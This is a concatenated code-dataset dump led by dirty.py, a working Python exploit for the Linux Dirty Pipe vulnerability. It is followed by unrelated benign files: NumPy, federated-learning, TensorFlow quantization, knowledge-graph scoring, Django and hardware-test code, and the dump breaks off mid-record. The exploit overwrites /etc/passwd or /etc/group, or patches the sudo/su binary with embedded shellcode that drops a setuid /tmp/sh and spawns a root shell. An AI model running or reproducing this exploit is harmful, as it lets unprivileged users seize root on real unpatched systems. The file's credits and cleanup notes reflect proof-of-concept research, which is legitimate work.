795c2b666b98e12d384b2f7833ee6e4d3db9f688 | 14,762 | py | Python | dirty.py | crusoe112/DirtyPipePython | 4bbedf3119bfa8cebb973c11cae03f60bff62c25 | [
"Unlicense"
] | 1 | 2022-03-11T10:59:23.000Z | 2022-03-11T10:59:23.000Z | dirty.py | crusoe112/DirtyPipePython | 4bbedf3119bfa8cebb973c11cae03f60bff62c25 | [
"Unlicense"
] | null | null | null | dirty.py | crusoe112/DirtyPipePython | 4bbedf3119bfa8cebb973c11cae03f60bff62c25 | [
"Unlicense"
] | 2 | 2022-03-11T08:47:54.000Z | 2022-03-18T08:30:08.000Z | ################################################################################
# Author: Marc Bohler - https://github.com/crusoe112 #
# #
# Description: Uses Dirty Pipe vulnerability to pop a root shell using Python #
# #
# Credits: This code basically combines 2 existing poc's for dirty pipe: #
# https://github.com/febinrev/dirtypipez-exploit #
# https://github.com/eremus-dev/Dirty-Pipe-sudo-poc #
# Those projects, in turn, borrowed directly from the OG: #
# Max Kellermann max.kellermann@ionos.com #
# https://dirtypipe.cm4all.com/ #
# #
# Usage: python dirty.py #
# #
# Requirements: Requires python > 3.10 because of os.splice #
# #
# Notes: This exploit will overwrite a page of the file that resides in #
# the page cache. It is unlikely to corrupt the actual file. If #
# there is corruption or an error, you likely just need to wait #
# until the page is overwritten, or restart your computer to fix #
# any problems. #
# That being said, I bear no responsibility for damage done by #
# this code, so please read carefully and hack responsibly. #
# Be sure to check out Max Kellerman's writeup at cm4all.com as #
# well. #
################################################################################
import argparse
import sys
import pty
import os
import getpass
import subprocess
import platform
from os.path import exists
# Kernel page size
PAGE = 4096
# Linux pipe buffers are 64K
PIPESIZE = 65536
###########################################################
# Small (linux x86_64) ELF file matroshka doll that does: #
# fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC); #
# write(fd, elfcode, elfcode_len) #
# chmod("/tmp/sh", 04755) #
# close(fd); #
# exit(0); #
# #
# The dropped ELF simply does: #
# setuid(0); #
# setgid(0); #
# execve("/bin/sh", ["/bin/sh", NULL], [NULL]); #
# #
# Credit: https://github.com/febinrev/dirtypipez-exploit #
###########################################################
elfcode = [
0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d,
0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02, 0x00, 0x00,
0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x89, 0xc7,
0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2, 0xba, 0x00,
0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,
0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1c,
0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00, 0x48, 0xc7,
0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7,
0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d, 0x70, 0x2f,
0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01,
0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00,
0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xba,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69, 0x00, 0x00,
0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a, 0x00, 0x00,
0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00, 0x6a, 0x00,
0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0, 0x3b, 0x00,
0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f,
0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
]
def backup_file(path, backup_path):
"""Back up just for working on the POC"""
with open(path, 'rb') as orig_file:
with open(backup_path, 'wb') as backup:
data = orig_file.read()
backup.write(data)
def prepare_pipe(read: int, write: int) -> None:
""" Contaminate the pipe flags by filling and draining """
data = b'a' * PIPESIZE
written = os.write(write, data)
print(f'[*] {written} bytes written to pipe')
data = os.read(read, PIPESIZE)
print(f'[*] {len(data)} bytes read from pipe')
def run_poc(data: bytes, path: str, file_offset: int) -> None:
""" Open target file, contaminate the pipe buff, call splice, write into target file """
print(f'[*] Opening {path}')
target_file = os.open(path, os.O_RDONLY)
print('[*] Opening PIPE')
r, w = os.pipe()
print('[*] Contaminating PIPE_BUF_CAN_MERGE flags')
prepare_pipe(r, w)
print(f'[*] Splicing byte from {path} to pipe')
n = os.splice(
target_file,
w,
1,
offset_src=file_offset
)
print(f'[*] Spliced {n} bytes')
print(f'[*] Altering {path}')
n = os.write(w, data)
print(f'[*] {n} bytes written to {path}')
def find_offset_of_user_in_passwd(user):
file_offset = 0
to_write = ''
with open('/etc/passwd', 'r') as passwd:
for line in passwd.readlines():
if not user in line:
file_offset += len(line)
else:
fields = line.split(':')
file_offset += len(':'.join(fields[:1]))
original = ':'.join(fields[1:]) # Save original for recovering
to_write = ':0:' + ':'.join(fields[3:]) # Set no passwd and uid 0
# Pad end of line with new line chars so we don't error
length_diff = len(original) - len(to_write)
if length_diff > 0:
to_write = to_write[:-1] + ('\n' * length_diff) + '\n'
return file_offset, to_write, original
return False
def find_offset_of_sudo_in_group(user):
file_offset = 0
to_write = ''
with open('/etc/group', 'r') as group:
orig_file = group.read()
group.seek(0)
for line in group.readlines():
fields = line.split(':')
if not fields[0].strip() == 'sudo':
file_offset += len(line)
else:
file_offset += len(line) - 1
to_write = f',{user}\n'
try:
# Save original for recovering
original = orig_file[file_offset:file_offset+len(to_write)]
except IndexError:
return False # Cannot be last line of file
return file_offset - 1, to_write, original
return False
def within_page_bounds(file_offset, data_len):
# Ensure that we are not at a page boundary
if file_offset % PAGE == 0:
print(f'[x] Cannot exploit start of page boundary with offset {file_offset}')
print('[x] Do you have access to another user?')
print('[x] Remember to clean up /tmp/backup_file')
return False
if (file_offset | PAGE) < (file_offset + data_len):
print(f'[x] Cannot perform exploit across page boundary with offset {file_offset}')
print('[x] Do you have access to another user?')
print(f'[x] Remember to clean up {backup_path}')
return False
return True
def check_etc_passwd():
# Check if /etc/passwd exists
if not exists('/etc/passwd'):
return False
# Check if current user has login
user = getpass.getuser()
offset_data = find_offset_of_user_in_passwd(user)
if not offset_data:
return False
# Check if on boundary
if not within_page_bounds(offset_data[0], len(offset_data[1])):
return False
return True
def check_etc_group():
if not exists('/etc/group'):
return False
user = getpass.getuser()
offset_data = find_offset_of_sudo_in_group(user)
if not offset_data:
return False
if not within_page_bounds(offset_data[0], len(offset_data[1])):
return False
return True
def which(cmd):
return subprocess.getoutput(f'which {cmd}').strip()
def check_elf(cmd):
sudo_path = which(cmd)
if not exists(sudo_path):
return False
# Check if x86_64
if not platform.architecture(sudo_path) == ('64bit', 'ELF'):
return False
if not within_page_bounds(1, len(elfcode)):
return False
return True
def run_elf(binary_name):
# Backup file
binary_path = which(binary_name)
backup_path = f'/tmp/{binary_name}'
print(f'[*] Backing up {binary_path} to {backup_path}')
backup_file(binary_path, backup_path)
# Set offset
file_offset = 1
# Save original
print(f'[*] Saving original state of {binary_path}')
with open(binary_path, 'rb') as binary:
orig_data = binary.read(len(elfcode) + 2)[2:]
# Exploit
print(f'[*] Hijacking {binary_path}')
run_poc(bytes(elfcode), binary_path, file_offset)
# Run modified binary
print(f'[*] Executing modified {binary_path}')
os.system(binary_path)
# Restore state
print(f'[*] Restoring {binary_path}')
run_poc(orig_data, binary_path, file_offset)
# Pop a shell
print(f'[*] Popping root shell...')
print()
pty.spawn('/tmp/sh')
print()
# Cleanup
print(f'[!] Remember to cleanup {backup_path} and /tmp/sh')
print(f'[!] rm {backup_path}')
print('[!] rm /tmp/sh')
def run_etc_passwd():
# Backup file
backup_path = '/tmp/passwd'
target_file = '/etc/passwd'
print(f'[*] Backing up {target_file} to {backup_path}')
backup_file(target_file, backup_path)
# Get offset
user = getpass.getuser()
print(f'[*] Calculating offset of {user} in {target_file}')
(file_offset,
data_to_write,
original) = find_offset_of_user_in_passwd(user)
# Exploit
print(f'[*] Hijacking {target_file}')
run_poc(bytes(data_to_write, 'utf-8'), target_file, file_offset)
# Pop a shell
print(f'[*] Popping root shell...')
print()
pty.spawn(['su', user])
print()
print(f'[*] Restoring {target_file}')
run_poc(bytes(original, 'utf-8'), target_file, file_offset)
print(f'[!] Remember to cleanup {backup_path}')
print(f'[!] rm {backup_path}')
def run_etc_group():
# Backup file
backup_path = '/tmp/group'
target_file = '/etc/group'
print(f'[*] Backing up {target_file} to {backup_path}')
backup_file(target_file, backup_path)
# Get offset
user = getpass.getuser()
print(f'[*] Calculating offset of {user} in {target_file}')
(file_offset,
data_to_write,
original) = find_offset_of_sudo_in_group(user)
# Exploit
print(f'[*] Hijacking {target_file}')
run_poc(bytes(data_to_write, 'utf-8'), target_file, file_offset)
# Pop a shell
print(f'[*] Popping root shell...')
print()
print(f'[!] Login with password of {user} (you will have to login twice)')
print()
# Login as user to refresh groups, then call sudo su in a pseudo terminal with -P flag
pty.spawn(['su', user, '-P', '-c', 'sudo su'])
print()
print(f'[*] Restoring {target_file}')
run_poc(bytes(original, 'utf-8'), target_file, file_offset)
print(f'[!] Remember to cleanup {backup_path}')
print(f'[!] rm {backup_path}')
def main():
parser = argparse.ArgumentParser(description='Use dirty pipe vulnerability to pop root shell')
parser.add_argument('--target', choices=['passwd','group','sudo','su'], help='The target read-only file to overwrite')
args = parser.parse_args()
if not args.target or args.target == 'passwd':
print(f'[*] Attempting to modify /etc/passwd')
if check_etc_passwd():
run_etc_passwd()
sys.exit()
print(f'[X] Cannot modify /etc/passwd')
if not args.target or args.target == 'sudo':
print(f'[*] Attempting to modify sudo binary')
if check_elf('sudo'):
run_elf('sudo')
sys.exit()
print(f'[X] Cannot modify sudo binary')
if not args.target or args.target == 'su':
print(f'[*] Attempting to modify su binary')
if check_elf('su'):
run_elf('su')
sys.exit()
print(f'[X] Cannot modify su binary')
if not args.target or args.target == 'group':
print(f'[*] Attempting to modify /etc/group')
if check_etc_group():
run_etc_group()
sys.exit()
print(f'[X] Cannot modify /etc/group')
print(f'[X] Exploit could not be executed!')
if __name__ == '__main__':
main()
| 36.905 | 122 | 0.546471 |
795c2ba5cc3779cecc6990e3765a04ef5a4cdc5c | 134 | py | Python | numpy/shapeAndReshape.py | silvioedu/HackerRank-Python-Practice | e31ebe49d431c0a23fed0cd67a6984e2b0b7a260 | [
"MIT"
] | null | null | null | numpy/shapeAndReshape.py | silvioedu/HackerRank-Python-Practice | e31ebe49d431c0a23fed0cd67a6984e2b0b7a260 | [
"MIT"
] | null | null | null | numpy/shapeAndReshape.py | silvioedu/HackerRank-Python-Practice | e31ebe49d431c0a23fed0cd67a6984e2b0b7a260 | [
"MIT"
] | null | null | null | import numpy
if __name__ == '__main__':
arr = numpy.array(input().strip().split(' '), int)
print(numpy.reshape(arr, (3, 3))) | 22.333333 | 54 | 0.61194 |
795c2c44e17d7bc98299e1d2e468ded4feb519a1 | 6,697 | py | Python | bin/create_initial_weights_file_from_flplan.py | sbakas/OpenFederatedLearning-1 | d8e2d22dfccfb8488f70f1fb5593d4e6ee1eca1f | [
"Apache-2.0"
] | 3 | 2020-12-23T02:41:16.000Z | 2021-12-07T00:01:56.000Z | bin/create_initial_weights_file_from_flplan.py | sbakas/OpenFederatedLearning-1 | d8e2d22dfccfb8488f70f1fb5593d4e6ee1eca1f | [
"Apache-2.0"
] | null | null | null | bin/create_initial_weights_file_from_flplan.py | sbakas/OpenFederatedLearning-1 | d8e2d22dfccfb8488f70f1fb5593d4e6ee1eca1f | [
"Apache-2.0"
] | 1 | 2020-09-05T04:36:27.000Z | 2020-09-05T04:36:27.000Z | #!/usr/bin/env python3
# Copyright (C) 2020 Intel Corporation
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import argparse
import os
import sys
import logging
import importlib
from openfl import load_yaml, get_object, split_tensor_dict_for_holdouts
from openfl.collaborator.collaborator import OptTreatment
from openfl.flplan import parse_fl_plan, create_data_object, create_model_object, create_compression_pipeline
from openfl.proto.protoutils import dump_proto, construct_proto
from setup_logging import setup_logging
def main(plan, native_model_weights_filepath, collaborators_file, feature_shape, n_classes, data_config_fname, logging_config_path, logging_default_level, model_device):
"""Creates a protobuf file of the initial weights for the model
Uses the federation (FL) plan to create an initial weights file
for the federation.
Args:
plan: The federation (FL) plan filename
native_model_weights_filepath: A framework-specific filepath. Path will be relative to the working directory.
collaborators_file:
feature_shape: The input shape to the model
data_config_fname: The data configuration file (defines where the datasets are located)
logging_config_path: The log path
logging_default_level (int): The default log level
"""
setup_logging(path=logging_config_path, default_level=logging_default_level)
logger = logging.getLogger(__name__)
# FIXME: consistent filesystem (#15)
script_dir = os.path.dirname(os.path.realpath(__file__))
base_dir = os.path.join(script_dir, 'federations')
plan_dir = os.path.join(base_dir, 'plans')
weights_dir = os.path.join(base_dir, 'weights')
# ensure the weights dir exists
if not os.path.exists(weights_dir):
print('creating folder:', weights_dir)
os.makedirs(weights_dir)
# parse the plan and local config
flplan = parse_fl_plan(os.path.join(plan_dir, plan))
local_config = load_yaml(os.path.join(base_dir, data_config_fname))
# get the output filename
fpath = os.path.join(weights_dir, flplan['aggregator_object_init']['init_kwargs']['init_model_fname'])
# create the data object for models whose architecture depends on the feature shape
if feature_shape is None:
if collaborators_file is None:
sys.exit("You must specify either a feature shape or a collaborator list in order for the script to determine the input layer shape")
# FIXME: this will ultimately run in a governor environment and should not require any data to work
# pick the first collaborator to create the data and model (could be any)
collaborator_common_name = load_yaml(os.path.join(base_dir, 'collaborator_lists', collaborators_file))['collaborator_common_names'][0]
data = create_data_object(flplan, collaborator_common_name, local_config, n_classes=n_classes)
else:
data = get_object('openfl.data.dummy.randomdata', 'RandomData', feature_shape=feature_shape)
logger.info('Using data object of type {} and feature shape {}'.format(type(data), feature_shape))
# create the model object and compression pipeline
wrapped_model = create_model_object(flplan, data, model_device=model_device)
compression_pipeline = create_compression_pipeline(flplan)
# determine if we need to store the optimizer variables
# FIXME: what if this key is missing?
try:
opt_treatment = OptTreatment[flplan['collaborator_object_init']['init_kwargs']['opt_treatment']]
except KeyError:
# FIXME: this error message should use the exception to determine the missing key and the Enum to display the options dynamically
sys.exit("FL plan must specify ['collaborator_object_init']['init_kwargs']['opt_treatment'] as [RESET|CONTINUE_LOCAL|CONTINUE_GLOBAL]")
# FIXME: this should be an "opt_treatment requires parameters type check rather than a magic string"
with_opt_vars = opt_treatment == OptTreatment['CONTINUE_GLOBAL']
if native_model_weights_filepath is not None:
wrapped_model.load_native(native_model_weights_filepath)
tensor_dict_split_fn_kwargs = wrapped_model.tensor_dict_split_fn_kwargs or {}
tensor_dict, holdout_params = split_tensor_dict_for_holdouts(logger,
wrapped_model.get_tensor_dict(with_opt_vars=with_opt_vars),
**tensor_dict_split_fn_kwargs)
logger.warn('Following paramters omitted from global initial model, '\
'local initialization will determine values: {}'.format(list(holdout_params.keys())))
model_proto = construct_proto(tensor_dict=tensor_dict,
model_id=wrapped_model.__class__.__name__,
model_version=0,
is_delta=False,
delta_from_version=-1,
compression_pipeline=compression_pipeline)
dump_proto(model_proto=model_proto, fpath=fpath)
logger.info("Created initial weights file: {}".format(fpath))
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('--plan', '-p', type=str, required=True)
parser.add_argument('--native_model_weights_filepath', '-nmwf', type=str, default=None)
parser.add_argument('--collaborators_file', '-c', type=str, default=None, help="Name of YAML File in /bin/federations/collaborator_lists/")
parser.add_argument('--feature_shape', '-fs', type=int, nargs='+', default=None)
parser.add_argument('--n_classes', '-nc', type=int, default=None)
parser.add_argument('--data_config_fname', '-dc', type=str, default="local_data_config.yaml")
parser.add_argument('--logging_config_path', '-lcp', type=str, default="logging.yaml")
parser.add_argument('--logging_default_level', '-l', type=str, default="info")
# FIXME: this kind of commandline configuration needs to be done in a consistent way
parser.add_argument('--model_device', '-md', type=str, default='cpu')
args = parser.parse_args()
main(**vars(args))
| 50.734848 | 169 | 0.718381 |
795c2cda2ed17a5ef8fba556e7cbb76e21d8f1f1 | 3,977 | py | Python | lpot/adaptor/tf_utils/quantize_graph/quantize_graph_concatv2.py | deb-intel/LPOTtest | f7b7524c733e581668d15192b69f9d9a7ca5222d | [
"Apache-2.0"
] | null | null | null | lpot/adaptor/tf_utils/quantize_graph/quantize_graph_concatv2.py | deb-intel/LPOTtest | f7b7524c733e581668d15192b69f9d9a7ca5222d | [
"Apache-2.0"
] | null | null | null | lpot/adaptor/tf_utils/quantize_graph/quantize_graph_concatv2.py | deb-intel/LPOTtest | f7b7524c733e581668d15192b69f9d9a7ca5222d | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Copyright (c) 2021 Intel Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import re
from tensorflow.python.framework import dtypes
from tensorflow.core.framework import node_def_pb2
from .quantize_graph_base import QuantizeNodeBase
from .quantize_graph_common import QuantizeGraphHelper as helper
class FuseNodeStartWithConcatV2(QuantizeNodeBase):
def _apply_concatv2_transform(self, original_node):
namespace_prefix = original_node.name + "_eightbit"
quantized_concat_name = namespace_prefix + "_quantized_concatv2"
reshape_dims_name, reduction_dims_name = self._add_common_quantization_nodes(
namespace_prefix, helper.node_name_from_input(original_node.input[-1]))
num_input = len(original_node.input)
shape_input_name = original_node.input[num_input - 1]
original_inputs = original_node.input[0:num_input - 1]
input_names = []
min_names = []
max_names = []
for original_input_name in original_inputs:
quantize_input_name, min_input_name, max_input_name = (
self._eightbitize_input_to_node(namespace_prefix,
original_input_name,
reshape_dims_name,
reduction_dims_name,
dtype=dtypes.quint8))
input_names.append(quantize_input_name)
min_names.append(min_input_name)
max_names.append(max_input_name)
all_input_names = input_names
all_input_names.append(shape_input_name)
all_input_names.extend(min_names)
all_input_names.extend(max_names)
quantized_concat_node = helper.create_node("QuantizedConcatV2",
quantized_concat_name,
all_input_names)
helper.set_attr_int(quantized_concat_node, "N", len(original_inputs))
helper.set_attr_dtype(quantized_concat_node, "T", dtypes.quint8)
self.add_output_graph_node(quantized_concat_node)
self._intel_cpu_add_dequantize_result_node(quantized_concat_name, original_node.name)
def _quantizable_concat(self, node):
for input_node_name in node.input[:node.attr['N'].i]:
node_name = helper.node_name_from_input(input_node_name)
if self.node_name_mapping[node_name].node.op != "Dequantize":
return False
return True
def _apply_concatv2_quantization(self):
for _, v in self.node_name_mapping.items():
if v.node.op in ("ConcatV2",) and self._quantizable_concat(v.node) and \
dtypes.as_dtype(v.node.attr["T"].type) == dtypes.float32 and \
not re.search(r'map(_\d+)?/while', v.node.name):
self._apply_concatv2_transform(v.node)
else:
new_node = node_def_pb2.NodeDef()
new_node.CopyFrom(v.node)
self.add_output_graph_node(new_node)
def get_longest_fuse(self):
return 1
def apply_the_transform(self):
self._apply_concatv2_quantization()
self._reset_output_node_maps()
if self.remove_redundant_quant_flag:
self.output_graph = self.remove_redundant_quantization(self.output_graph)
return self.output_graph
| 45.712644 | 93 | 0.659291 |
795c2d4dc6e9e1b17096fa8f72856bcb7801d372 | 519 | py | Python | code/experimentation.py | saint1729/cs6140_final_project | da529aaadfb82a67a21ace436a02536d9c712bc0 | [
"MIT"
] | null | null | null | code/experimentation.py | saint1729/cs6140_final_project | da529aaadfb82a67a21ace436a02536d9c712bc0 | [
"MIT"
] | null | null | null | code/experimentation.py | saint1729/cs6140_final_project | da529aaadfb82a67a21ace436a02536d9c712bc0 | [
"MIT"
] | null | null | null | import numpy as np
if __name__ == '__main__':
l = np.load("./old/class8_313.npy")
print(l.shape)
l = np.load("./old/resources/pts_in_hull.npy")
print(l[:, 0].shape)
l = np.load("./old/resources/prior_lab_distribution_train.npz", allow_pickle=True)
lst = l.files
print(l['w_bins'])
if np.array_equal(l['ab_bins'], np.array([l['a_bins'], l['b_bins']]).T):
print("Equal")
else:
print("Not equal")
for item in lst:
print(item)
print(l[item].shape)
| 25.95 | 86 | 0.591522 |
795c3032c794b2ea0dcafe3349658e549e596d61 | 848 | py | Python | ckb/scoring/transe.py | raphaelsty/ckb | 325b170e64ea10280d5f08f7417b5d1bdc94a466 | [
"MIT"
] | 13 | 2021-03-09T15:18:48.000Z | 2022-03-16T01:02:42.000Z | ckb/scoring/transe.py | raphaelsty/ckb | 325b170e64ea10280d5f08f7417b5d1bdc94a466 | [
"MIT"
] | 1 | 2021-09-22T09:22:17.000Z | 2021-09-22T14:14:38.000Z | ckb/scoring/transe.py | raphaelsty/ckb | 325b170e64ea10280d5f08f7417b5d1bdc94a466 | [
"MIT"
] | null | null | null | from .base import Scoring
import torch
__all__ = ["TransE"]
class TransE(Scoring):
"""TransE scoring function.
Examples
--------
>>> from ckb import scoring
>>> scoring.TransE()
TransE scoring
"""
def __init__(self):
super().__init__()
def __call__(self, head, relation, tail, gamma, mode, **kwargs):
"""Compute the score of given facts (heads, relations, tails).
Parameters
----------
head: Embeddings of heads.
relation: Embeddings of relations.
tail: Embeddings of tails.
mode: head-batch or tail-batch.
"""
if mode == "head-batch":
score = head + (relation - tail)
else:
score = (head + relation) - tail
return gamma.item() - torch.norm(score, p=1, dim=2)
| 19.272727 | 70 | 0.541274 |
795c31b16523f90fb238bfb3a315c9cffe75a58d | 212 | py | Python | knn.py | CogitoNTNU/grunnkurs-template-1 | f25a7dc8474ccfcf0d358e30b59a11e1487817fd | [
"MIT"
] | null | null | null | knn.py | CogitoNTNU/grunnkurs-template-1 | f25a7dc8474ccfcf0d358e30b59a11e1487817fd | [
"MIT"
] | null | null | null | knn.py | CogitoNTNU/grunnkurs-template-1 | f25a7dc8474ccfcf0d358e30b59a11e1487817fd | [
"MIT"
] | null | null | null | from util import load_data, alphabet
from sklearn.metrics import classification_report
from sklearn.neighbors import KNeighborsClassifier
x_train, x_val, x_test, y_train, y_val, y_test = load_data('dataset.h5')
| 35.333333 | 72 | 0.830189 |
795c31c193681bb95b7790672de7f8bb627fe99f | 278 | py | Python | NFCow/malls/admin.py | jojoriveraa/titulacion-NFCOW | 643f7f2cbe9c68d9343f38d12629720b12e9ce1e | [
"Apache-2.0"
] | null | null | null | NFCow/malls/admin.py | jojoriveraa/titulacion-NFCOW | 643f7f2cbe9c68d9343f38d12629720b12e9ce1e | [
"Apache-2.0"
] | 11 | 2016-01-09T06:27:02.000Z | 2016-01-10T05:21:05.000Z | NFCow/malls/admin.py | jojoriveraa/titulacion-NFCOW | 643f7f2cbe9c68d9343f38d12629720b12e9ce1e | [
"Apache-2.0"
] | null | null | null | from django.contrib import admin
# Register your models here.
from .models import Mall
class MallAdmin(admin.ModelAdmin):
list_display = ('name', 'img', 'postcode', )
list_filter = ('name', )
search_fields = ('name', 'postcode', )
admin.site.register(Mall, MallAdmin, ) | 25.272727 | 46 | 0.705036 |
795c32f6823c9c37db462b1fb3632a0cc50774d4 | 387 | py | Python | backend/crisis/migrations/0007_auto_20200404_1218.py | Hack-the-Crisis-Hackathon/Hackathon | 708a5ee4576a720e5118c254e3d76e1fadea3b8c | [
"MIT"
] | null | null | null | backend/crisis/migrations/0007_auto_20200404_1218.py | Hack-the-Crisis-Hackathon/Hackathon | 708a5ee4576a720e5118c254e3d76e1fadea3b8c | [
"MIT"
] | null | null | null | backend/crisis/migrations/0007_auto_20200404_1218.py | Hack-the-Crisis-Hackathon/Hackathon | 708a5ee4576a720e5118c254e3d76e1fadea3b8c | [
"MIT"
] | null | null | null | # Generated by Django 3.0.3 on 2020-04-04 12:18
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('crisis', '0006_document_name'),
]
operations = [
migrations.AlterField(
model_name='document',
name='document',
field=models.FileField(upload_to='test'),
),
]
| 20.368421 | 53 | 0.594315 |
795c343e653ea819622aad2bdf260984bed603d5 | 1,655 | py | Python | hwtLib/peripheral/ethernet/rmii_adapter_test.py | Nic30/hwtLib | 52fd28023c4a25f64da17bb4d7c3089d5c7348f4 | [
"MIT"
] | 24 | 2017-02-23T10:00:50.000Z | 2022-01-28T12:20:21.000Z | hwtLib/peripheral/ethernet/rmii_adapter_test.py | Nic30/hwtLib | 52fd28023c4a25f64da17bb4d7c3089d5c7348f4 | [
"MIT"
] | 32 | 2017-04-28T10:29:34.000Z | 2021-04-27T09:16:43.000Z | hwtLib/peripheral/ethernet/rmii_adapter_test.py | Nic30/hwtLib | 52fd28023c4a25f64da17bb4d7c3089d5c7348f4 | [
"MIT"
] | 8 | 2019-09-19T03:34:36.000Z | 2022-01-21T06:56:58.000Z | import unittest
from hwt.pyUtils.arrayQuery import iter_with_last
from hwt.simulator.simTestCase import SimTestCase
from hwtLib.peripheral.ethernet.constants import ETH
from hwtLib.peripheral.ethernet.rmii_adapter import RmiiAdapter
from hwtSimApi.constants import Time
class RmiiAdapterTC(SimTestCase):
CLK = int(Time.s / 50e6)
@classmethod
def setUpClass(cls):
cls.u = RmiiAdapter()
cls.compileSim(cls.u)
def test_nop(self):
u = self.u
self.runSim(self.CLK * 100)
self.assertEmpty(u.rx._ag.data)
self.assertEmpty(u.eth.tx._ag.data)
def test_rx(self):
N = 10
data = [i for i in range(N)]
u = self.u
u.eth.rx._ag._append_frame(data)
self.runSim(self.CLK * 100)
self.assertValSequenceEqual(
u.rx._ag.data,
[(d, 0, int(last)) for last, d in iter_with_last(data)])
def test_tx(self):
N = 10
data = [i for i in range(N)]
expected = [
*[int(ETH.PREAMBLE_1B) for _ in range(7)],
int(ETH.SFD),
*data,
]
u = self.u
u.tx._ag.data.extend([(d, last) for last, d in iter_with_last(data)])
self.runSim(self.CLK * 200)
self.assertEmpty(u.eth.tx._ag.data)
self.assertEqual(len(u.eth.tx._ag.frames), 1)
self.assertValSequenceEqual(u.eth.tx._ag.frames[0], expected)
if __name__ == "__main__":
suite = unittest.TestSuite()
# suite.addTest(RmiiAdapterTC('test_normalOp'))
suite.addTest(unittest.makeSuite(RmiiAdapterTC))
runner = unittest.TextTestRunner(verbosity=3)
runner.run(suite)
| 29.553571 | 77 | 0.625982 |
795c3587fef27d7158dd4fd6b909b3ade33f8f9c | 934 | py | Python | end2endPoC/data-generator/generator.py | mahima1997/trusty-ai-sandbox | 739aa220527052b7080fbe178b9137a7ba3dff4f | [
"Apache-2.0"
] | 1 | 2020-06-09T05:58:34.000Z | 2020-06-09T05:58:34.000Z | end2endPoC/data-generator/generator.py | mahima1997/trusty-ai-sandbox | 739aa220527052b7080fbe178b9137a7ba3dff4f | [
"Apache-2.0"
